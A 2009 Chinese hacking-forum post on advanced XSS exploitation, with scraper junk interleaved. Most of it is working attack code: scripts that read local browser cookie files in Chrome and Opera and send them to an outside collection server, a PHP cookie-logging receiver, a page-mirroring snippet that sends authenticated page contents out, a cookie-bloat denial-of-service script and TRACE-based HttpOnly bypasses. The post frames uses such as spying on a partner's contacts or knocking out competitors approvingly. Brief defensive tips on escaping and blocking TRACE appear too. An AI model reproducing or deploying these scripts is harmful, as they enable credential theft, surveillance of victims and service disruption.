XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑
- k: M8 B/ R- o1 G" w% r4 n
+ a+ a( D1 y2 I! }, @0 r9 fXSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
1 q) I4 k+ y3 O, a) ZBy racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
$ U- A; y5 v8 R& L( C6 E* O- V转帖请保留版权
8 i- L9 J: F; Y$ [! v- M


-------------------------------------------前言---------------------------------------------------------


本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.


如果你还未具备基础XSS知识,以下几个文章建议拜读:
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
http://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
http://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
$ ]1 {- t" J" ?, p1 |http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持
* K7 H" B6 M8 ?1 c) }: T) a

8 G% n1 z3 v: m# U  i! c& i7 j

% F0 `0 N& Q& w如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.

0 T0 @: b% P0 D6 K$ t, |希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
4 A. b1 D+ ]0 t+ A
如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,
1 v$ v& w1 q! t+ e1 H$ s
1 E$ [* i1 e6 w$ p' R" LBaidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

QQ ZONE,校内网XSS     感染过万QQ ZONE.

4 K+ [( B3 q& e+ }, H, V/ UOWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

: d- D$ X2 r1 @2 ?2 F6 h..........
0 r' j, L+ T9 v7 R4 |复制代码------------------------------------------介绍-------------------------------------------------------------
9 G4 H& a2 d$ T) y
什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.

* e" p* D3 z' P" [1 S

& X) g2 d0 x" p1 w; G8 d* O, {/ a3 F! K跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.



如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
  r' N; c+ V3 x- j7 R$ s复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
* }3 z7 w7 I' O, k我们在这里重点探讨以下几个问题:

- h' T7 g" \7 m' ?. _1        通过XSS,我们能实现什么?

2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
$ C+ Y: \' G6 M- N) o6 f
. J; a  q, I' z. I: ~/ W3        XSS的高级利用和高级综合型XSS蠕虫的可行性?

/ d- J5 v% o& ]4        XSS漏洞在输出和输入两个方面怎么才能避免.

) `3 U6 M7 J1 j$ o1 p( q$ g+ a
5 l* ~! k; n! C0 W
* u& v1 t; @& n0 Z------------------------------------------研究正题----------------------------------------------------------



4 p2 F5 D- P2 ]6 w$ Q9 G通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
" y- [  |* a+ W1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
: B. u" x) m/ u2 m/ ?2 \1 A* |0 z3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
! _8 y" M2 Q  a9 {$ R# U" y) J5 Z7 M4:Http-only可以采用作为COOKIES保护方式之一.
2 ^1 r. z6 o2 A: L2 x) |
) Q: I- h; i% j* k$ t

7 ~% ~# \  `/ _! c/ k5 ^9 d& E

) x% Y8 a! [7 v9 v# }1 y- b(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
8 M1 B) h/ O% a6 V
# [9 A* D* u' H! o我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)
+ \& j! X% p" [4 l2 s
- f5 }$ k! N, Y0 V! J& j- H

    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。

) K# E. C: M9 ~
$ o) y, v. _  N( y
    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
7 A+ O9 p4 V  [( D, `6 z


    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>
! m. H: u- {) |+ ~% ?
    function $(x){return document.getElementById(x)}

6 J5 F. d5 D# E' E' v$ z; x
7 P- R( ^  n) \* D$ u
/ I- c# L, S3 y! p- t; K    function ajax_obj(){
9 A. O+ s5 X, x
    var request = false;
8 C+ G2 B  T" B8 C" D( ~/ y
    if(window.XMLHttpRequest) {

# S4 L0 F8 U4 `  m+ b: z    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {
* s: R. e1 M1 t- T4 U( b  B2 c
" k9 ~& ]: F+ D8 t    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',


  Q+ a1 R9 a0 c6 A" A
5 d( Y1 s6 ^0 u  }& G* b1 q    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
% `8 N. P6 p* J0 N: I, H
. _2 y; N! s/ a) n* w    for(var i=0; i<versions.length; i++) {
$ _8 S) I- Z: R. S; g* W2 K% @8 _# w8 h
    try {
! L# J& A3 W  o$ [  h, Y$ S1 t
/ R& g1 s6 n- I3 r, D    request = new ActiveXObject(versions);
4 T* N% H* k4 X6 E, `* [) z9 E# ?  j
+ ]3 i& [$ D7 X3 R$ n0 O" X    } catch(e) {}

    }

3 R5 v  l5 F% P0 r! o) l    }

# D' M9 d, q7 }3 D  w; v" ^7 U    return request;

. v* k1 ~: y: c5 |    }
+ C& N$ p! H& c* \8 K. i
4 E' q3 X2 t  r' A( q, Y    var _x = ajax_obj();

    function _7or3(_m,action,argv){

    _x.open(_m,action,false);
$ R/ d- J% Z" R
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);
0 @( \0 [5 F1 h
( |5 ]- v* m1 w9 ]' c0 l7 W, V6 n% y    return _x.responseText;

5 t3 t* V1 E1 F+ s    }
8 o8 k* z3 g% a

2 R; K& Y1 T8 B# y. G7 y/ @
    var txt=_7or3("GET","file://localhost/C:/11.txt",null);

% t8 V  t( w" z2 n* e! d    alert(txt);
0 g4 G- J! a- t0 P0 Q; b4 g% z4 J" I
4 U% R: }0 _; u

    </script>
6 T: |" u! Z0 r5 K1 G4 v复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>
; u. w# }* P( y9 A3 w+ p2 H
    function $(x){return document.getElementById(x)}
& C  a: w$ f$ l$ F+ V
, J+ Q, |$ n# p3 j6 v. }' O5 \; k

    function ajax_obj(){

    var request = false;

& X: O9 L; [/ ~    if(window.XMLHttpRequest) {

+ H) X/ e  ~) V& ^* q    request = new XMLHttpRequest();
' _1 y9 g7 S+ G$ M! Z/ R
    } else if(window.ActiveXObject) {

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',

2 n1 c* S/ A& s. H
" p' R! O; D+ i- K
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

    for(var i=0; i<versions.length; i++) {

    try {

    request = new ActiveXObject(versions);

" ^( U. E. ^& P' O    } catch(e) {}
4 a6 x3 r& H' k8 w
    }

    }
6 O, F2 _# M' C/ D1 X
    return request;

3 Q% p4 q9 L# Q, q* j& R; D    }
/ N1 F' [* a8 m5 z/ x: `- v0 D
. r& i" D" D/ g' z- t# O, e3 j2 W( U* ?    var _x = ajax_obj();
; }$ O% w" V9 e$ p  {4 H4 N
    function _7or3(_m,action,argv){
: K0 G: n3 P! `3 v* s8 _$ e; }
    _x.open(_m,action,false);

( K5 A+ r" A# Z" c: F) O3 ]    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
+ {2 v5 T6 u3 Q: M* x
    _x.send(argv);

    return _x.responseText;
$ E6 J: r: k3 _% r& t: _
8 j6 b1 {6 D& m: g; A    }
; A( F( F- m( C' n


    var txt=_7or3("GET","1/11.txt",null);
! n: H: n7 F2 X% {! Z& h: a0 X7 @
3 B8 F, w3 T8 a7 L    alert(txt);
& [2 x. K& c+ U; I7 N2 w" s


    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
2 u+ v. r+ L4 l' j
7 D# R: w! @! }
8 d# v( N: l. T7 P! O6 w/ x9 F
Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"



5 k5 t4 w( w8 |; ^7 S4 A<?   
* B* s4 S' F6 ^& E0 P
. }# B( e( z3 E- h9 \+ @! R/*  

     Chrome 1.0.154.53 use ajax read local txt file and upload exp  

     www.inbreak.net   
! t1 O4 R" c( r% H" ~. `0 H4 F; ^
5 p) Q2 Y7 I4 f     author voidloafer@gmail.com 2009-4-22   

# _9 g3 g+ S. L' v: v2 i5 l     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  

*/  
8 S9 s0 F1 X5 f
  t( Y, A& M( Z% N& a' fheader("Content-Disposition: attachment;filename=kxlzx.htm");   

2 S8 f, E% w2 z1 X! M: o/ [header("Content-type: application/kxlzx");   
; L% F4 p" J: h* ?
. L7 f7 O9 K# ^9 s" B! M2 g/*  
$ c2 _, g+ Q+ A1 m% v' x: u; |
     set header, so just download html file,and open it at local.  

6 P: m3 U; d' v5 a*/  
- H* o) r$ {8 s/ m& Z+ C9 a2 {
  R2 U' g5 C# i, ~3 Z; z?>   
. w2 S+ R! W+ a0 o! I3 n* _. K
( @# k1 O. N( d/ P0 p<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
; K* ]+ Y7 S; p- Q# R& R; w
  W* V9 M: |* K" ~     <input id="input" name="cookie" value="" type="hidden">   
6 x+ {$ \: H' l1 c+ ]8 I
4 b6 T$ W. c8 x4 B5 X</form>   

<script>   

' |7 R/ P# M5 cfunction doMyAjax(user)   
) }; @$ h, F6 [( X
* c( E$ i* z; b2 c$ Y- I{   

var time = Math.random();   

* ]) ~' p4 F+ T6 f9 w/*  

. q; j0 j# ?4 x- x' bthe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  

) h7 N1 ?2 d# ~& C5 S6 R" {( g  |/ Jand the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  
8 U- g, Z% j* h4 Y5 ?
and so on...  
# R$ A6 ?7 y7 |( ]  e& f4 a  w
' f# h- A5 _$ h$ }/ ^/ I*/  

8 J8 U- N  Y/ k2 Bvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   
! U4 U" b) g! ?9 h; S
  B' [  U7 Y2 d: O. g- r   

startRequest(strPer);   


2 {  R$ h4 R/ q5 _. }/ L$ n, u
( H/ r1 B; V, r! u2 s}   

   

function Enshellcode(txt)   

{   
9 R1 D3 j( B+ P: F; {* |
var url=new String(txt);   

* o: W" |; d# N& f3 A+ Cvar i=0,l=0,k=0,curl="";   
. }6 m! y$ v! n( W
9 g- F7 j( ]  ?# t5 w, ml= url.length;   

for(;i<l;i++){   
! k, }6 s3 x, E; ?" z$ d7 z* }8 V, D
k=url.charCodeAt(i);   
7 G: P* j% c0 l, W6 C
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   

! s# o: f* |" N# ?9 Yif (l%2){curl+="00";}else{curl+="0000";}   

9 [, g; ~; o# \curl=curl.replace(/(..)(..)/g,"%u$2$1");   

return curl;   

}   

# A# `3 G8 B) P, q4 _# P   
4 o  k  Z) Q: X# N! k- Y
   
  F2 y. O. \# I. a
9 @) s2 B9 h, B  t* I; Bvar xmlHttp;   
+ s* v3 F; K2 B+ f* p4 D# p
function createXMLHttp(){   
  d* S! S% H" R
) B2 v( X# V* s) L; D6 Q! e4 Q     if(window.XMLHttpRequest){   

, @- k2 u8 Y9 |8 z6 lxmlHttp = new XMLHttpRequest();           

5 w5 w: R: F: U% h, {# I# J- Z     }   
: i- e. `0 a# I. y) X$ X
     else if(window.ActiveXObject){   
1 M/ x/ Q1 U3 E: }* c* ]2 _( \
# `( I0 o+ |8 K2 GxmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
9 L" p8 v8 v. Q/ C3 Y7 O
" P  g+ e* G, r     }   
! x! Q1 |- S: I$ t
}   

   
7 e: E) I' |7 Z( v. Z
9 M) z2 s% z& M6 ~3 U# Afunction startRequest(doUrl){   
& {, ^7 r* L+ B1 E! x
$ f* ?7 ^& }; b1 l1 x1 |7 q   
2 d* n7 {9 z) j6 |  j+ I+ i
! v' j0 P& V- J& _( j' J& T5 @     createXMLHttp();   
" G$ b9 H; C7 Z4 y; O

! q% A, `. S- q: \* c- `
     xmlHttp.onreadystatechange = handleStateChange;   
2 c, t# u4 A6 X5 [" X* N* M  Z

9 ^3 M# d. \+ X" R4 V3 u; o; r
     xmlHttp.open("GET", doUrl, true);   
) R' [1 n0 t' r
+ l8 }# y+ g( ^8 C5 G* W! D$ q

& v) ~3 W! R" y8 v$ c# T4 _# @     xmlHttp.send(null);   



  A, \. J% y" H3 C9 S6 G: A
8 a% t3 U. L' W/ I( F3 ?* \8 B! X
% s8 n5 @1 w$ T. k/ r1 k}   

   
; R; @  X$ U" o& W% y8 E
; l" U3 J7 }. T/ nfunction handleStateChange(){   
' y* d6 z- c7 q# u, z' V; L9 e) E
* a1 D' E) g" k% E0 s0 |( k     if (xmlHttp.readyState == 4 ){   
) }- D3 C8 [; P# ~  E8 H9 u+ _
* U9 e4 d9 b  n% O     var strResponse = "";   
$ t. s0 \2 c9 L( l+ u
- |8 C) G, q( r- I+ f& _     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
2 ~; r! V% u! m* g, ]
        
: f3 |! J. d' ]
. \# h* S1 P, u! N3 I) |     }   
) F7 z$ Z8 V2 u7 Q2 D( N0 Q
  _# D  Z) A# p3 J( [) \}   

   

) {& |2 }! }& E; n. S   
) e* K' X2 x; O* j' b
% Q, j" t( P# f1 ?, T1 qfunction framekxlzxPost(text)   
" h, A' a' ^# j5 d6 i; ~
1 N1 [$ t3 k- N{   

     document.getElementById("input").value = Enshellcode(text);   
, C' b& z' F0 k' b$ u9 p$ P
     document.getElementById("form").submit();   
+ h& v& F5 R! V$ O
! i  v2 k# ]* ~# M+ v2 B}   

   

doMyAjax("administrator");   
5 Z, C$ a; d3 V6 H* f0 k$ v
   
$ x$ d: o' E' z! j" s$ o" e1 v; w
, P; C, @" L: X* Y* m  z</script>
, m8 P# X' I! p0 Q9 f复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  

var xmlHttp;  

5 P0 t1 N! ?; E1 e6 Lfunction createXMLHttp(){  
( g6 S% U& D, f
     if(window.XMLHttpRequest){  
8 K, p1 U$ e: w, K
1 B& d% ^  v7 h3 r% O1 M( V         xmlHttp = new XMLHttpRequest();         
' N2 F& c2 ?  T) H: P6 G* S
* M; F5 R; J8 ?* w4 Q$ T/ M     }  
% V$ i+ u+ v7 U
     else if(window.ActiveXObject){  

3 |( j- I/ w1 f         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  

: g$ o$ ?& W7 z! \& G     }  
' [, K* }! s' R  H
) M- k  G' g% o  r5 i& g}  
3 Y$ G; C$ E5 d% @
3 m2 Z4 I9 }( |) h   
$ i( k0 v' \( r- {6 I" |0 J  i: Z- S
, |; ?: s, ], bfunction startRequest(doUrl){  
$ Y2 J+ W% k; \
! d! }' @6 M/ ^( ]% D           

8 |0 ?2 b7 H: W5 x- J     createXMLHttp();  
$ E# e3 Y% M- k. Y0 o) p
      

7 k' X5 [$ V3 v# i0 _' C     xmlHttp.onreadystatechange = handleStateChange;  

/ z- T; A' G4 ?2 Z" E4 [      
$ g7 V/ v( W# n  U' y
& p  n( D: p) k     xmlHttp.open("GET", doUrl, true);  
! C' V: K& s; W9 \8 n* S$ F
      
) f. h1 W0 X0 i% G) m9 t
     xmlHttp.send(null);  

' p3 ]  `- B6 D8 O4 u3 O$ f. u- n      
9 _" G0 t/ G3 N1 x9 T: S& c
      
! b  z5 ]8 {8 h$ Y- _& M1 d% F
8 T$ l$ }' e( W- y6 [9 I7 Z}   
% a% V  S+ O( u5 o& x# z% J
   

% `8 }6 L' E. h% a4 N. H/ ]function handleStateChange(){  
" |4 L4 v( E1 q5 V! g4 s0 X: l
     if (xmlHttp.readyState == 4 ){  

             var strResponse = "";  

             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
% g0 ~0 W% o9 p- s- u. P
               
+ G2 T$ e0 E- x* S" k5 f: I
     }  

0 J' G7 v9 \$ \: p, J( J}  

   
# I/ k7 w. h3 Y- G8 T4 K
function doMyAjax(user,file)  
/ s  l4 K  h" {) ^+ _
/ e5 [' i9 V% [7 ~  p  R7 X{  

         var time = Math.random();  
0 Y. l' x6 i& }9 l% _- k
           
8 @1 U8 @: Y/ l3 C- K1 I$ U
" A4 v4 B+ ~( A7 X         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

# O2 y) J  R* a+ p6 |- y% q; b           
8 S! Y  F" k! f0 R; P5 `. f$ Z
% J2 r5 f0 W+ v% S6 C- L         startRequest(strPer);  
' F) D; ^9 }* r& r0 I' I  @
      

}  
1 t  c& E8 I* r0 ?1 l
   
5 E4 x6 p; X. i+ o
2 P" _! F" F+ Nfunction framekxlzxPost(text)  

' @* C! P, x* C: h  j{  
6 N% p* V9 A3 s( Q- i8 A+ U
     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  

! h/ d4 l0 ^  Y4 }" y. y, l( A3 v     alert(/ok/);  

}  

) _8 Q" e' f4 N. z   
3 [# t# J7 z' ]& V, s
9 h' Z/ n9 L' n0 L: \+ C) {: m. m, QdoMyAjax('administrator','administrator@alibaba[1].txt');  
# r; s& _2 q# n+ j; m
  ~9 y3 p6 w/ b   

</script>

, {2 G6 H, }  m


  ?  g% X! p8 P+ [/ Z' w0 y
! n) `$ R% O; c2 ma.php


- `3 w9 b/ U: N" @' e6 n3 y
<?php      
; ^% `; C* q( S1 H# E5 c7 l; k
) l. L  K; z9 B8 p   
6 `* G% ~6 N1 u3 ?" W
$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  
, b1 B; ?% G$ M! ^& f
) B; o; V# C% @8 p$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

  
) ?7 L! y* I' N: d* T9 |
. R1 ~2 d% m& W* @$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     
3 R3 z0 t, l1 R) Z9 W
, e; V) Z. Z8 c3 i2 N3 pfwrite($fp,$_GET["cookie"]);      

# h- Y& ?- E2 |3 x# w  f, \fclose($fp);   
* Q! f4 ?( v( f5 [, Z
?>
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:

; j7 ]1 ]) P7 m% b或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.

代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);

//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);

//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
# }/ k8 F  I. V7 H" Q5 S
. ^' A! p! X  H! K, h  v0 I! q6 vfunction getURL(s) {

& C% X" {- s6 T; n1 {6 S* Lvar image = new Image();
* V1 L, T9 Q6 z" h  r
image.style.width = 0;
; I. H. P0 o% o6 Z
% }& b9 F- o) S  }( Z3 Oimage.style.height = 0;

image.src = s;

1 a: l! a; X" S" a}

% l+ }) ~# k! pgetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
这里引用大风的一段简单代码:<script language="javascript">

1 z% c1 e/ G6 F( z: Lvar metastr = "AAAAAAAAAA"; // 10 A
* \; _) a4 t7 A" }  ^# A
var str = "";

$ P: `, |" h, Mwhile (str.length < 4000){

    str += metastr;
* O$ U( v5 b3 F) C
}


6 N9 Y% }9 r0 c) j1 z* S
) C" x5 f0 ~  D/ G. E9 ddocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS

</script>

详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
4 e# A. q0 o- h; c7 S' y* |复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
) C2 \; ^8 f$ }) H0 \7 x3 ?3 J
假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
1 J6 \% L0 s" X& q! @$ I+ w; C4 q攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.


0 k" h% l' e+ n/ _: ?


3 h: [3 z- M  e: u1 j
5 H! X+ h6 `& P3 r! r(III) Http only bypass 与 补救对策:

什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
8 w1 j& F# l+ B; v: e4 n& H以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
6 L: v( r9 X- c' {5 ~) t# w: s+ n  Q
# U( a) \$ {1 a8 c+ y5 S<!--

* h! z$ S2 [& e/ w. Dfunction normalCookie() {

& R, A5 T8 i! ?* ]( Zdocument.cookie = "TheCookieName=CookieValue_httpOnly";

' `. f# @/ n1 ~& d  c' Palert(document.cookie);
* n) l: r( ]- L1 ]
}


8 F0 |$ _3 S* R6 i, B


function httpOnlyCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";

alert(document.cookie);}

: P6 J) G" T* }" b3 f- M2 a  _
; s8 _2 K, i1 Z7 \5 I) K7 @
//-->
7 q2 C% X/ F! j
</script>
5 V. g+ U# Y3 M% K, s/ I

' N3 p! N- E& _: F* m- I0 u
& E# i* ^% e/ b4 y<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
& k4 A( L, T) t
/ Q6 g/ [3 ~5 x+ w1 N4 i<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
) D5 }" q2 d1 }复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>



$ O: m8 g8 @1 ?5 a' A3 Dvar request = false;
& {; P/ F. d4 u$ \. E8 d/ O
9 S: P7 Y5 v, P/ f( s& J        if(window.XMLHttpRequest) {

            request = new XMLHttpRequest();
% a0 q* e! x: m7 h2 x
            if(request.overrideMimeType) {
) ^9 E2 x9 m1 G$ j; ^
                request.overrideMimeType('text/xml');
+ E/ {: v! y2 w) u) u
  l) d9 n; ~! x" Z0 g; X5 [3 b            }

        } else if(window.ActiveXObject) {

            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

            for(var i=0; i<versions.length; i++) {
& L. g/ ^) W+ i& d$ E( g
7 B% q4 w2 k4 O0 t( ]* m1 x9 I                try {
" E! [. a. \  m6 ]3 |2 S$ _
$ Y+ @% K8 a7 q2 S+ J- A5 z                    request = new ActiveXObject(versions);
9 c3 T5 N- l& }. N" g
2 X" x3 k2 o! Y* e7 i, H                } catch(e) {}
7 p! ]0 b* @2 G* j& s
            }
# p$ k, j! J5 r# J( q
) t6 ]+ u" w9 h+ r        }

xmlHttp=request;
" v  Y; N2 B4 S! \. z; L) ?
) B  T$ v7 R! yxmlHttp.open("TRACE","http://www.vul.com",false);

xmlHttp.send(null);

2 C4 U6 U0 M4 q  }- K, DxmlDoc=xmlHttp.responseText;

alert(xmlDoc);
* ]2 y4 r! N+ f* E
8 p1 g9 x' _, e( {3 D1 d! \</script>
9 \+ D. ?  _  }% p- E% S( U) v复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>

7 {$ v) i/ c, ^4 r( P2 C1 xvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

0 `! ]3 ]( K) O" g3 P2 V6 Y+ uXmlHttp.open("GET","http://www.google.com",false);

; x/ ?. U, n; w! A/ IXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
( X  D. r" [/ P- d9 b" J! y
XmlHttp.send(null);
) ]" Y2 y- g  h3 U
) u& ^2 Z$ N5 @4 k8 y1 @. x  L# y& Gvar resource=xmlHttp.responseText

. x: Q# b9 `& I7 iresource.search(/cookies/);
! F3 c9 s% n3 A1 Y1 c5 M
1 Q8 v) Z- g3 N0 c( A! Z$ c......................

</script>

* f# `) d6 f/ S! q$ \
/ B) f& D: P9 Y/ V. G. s7 Z$ R& Y
6 }2 M: s' F( W% i/ r+ k
7 L! p2 Y6 f9 F1 R& h
7 C5 k: h& [2 D* p; X0 a如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
/ p2 z+ D, D1 h4 ]" P4 b# h) R
[code]

1 `% Q1 L3 K3 S0 XRewriteEngine On

1 k3 t1 o6 C; o: a( F2 ?1 g" rRewriteCond %{REQUEST_METHOD} ^TRACE

RewriteRule .* - [F]
7 X' ~8 c; t, l- g. A# _1 E/ q
, K+ M: L2 U. q' p
0 x; n: @0 {: |) [
, e: A% j# a* n3 f8 wSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求

acl TRACE method TRACE

: q$ _* X! E; S+ c...
4 M% l- R, u: z8 D1 C( m7 K3 o
: G; e! C4 X. C4 ]9 fhttp_access deny TRACE
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
3 @1 q  O% g. J: I8 u
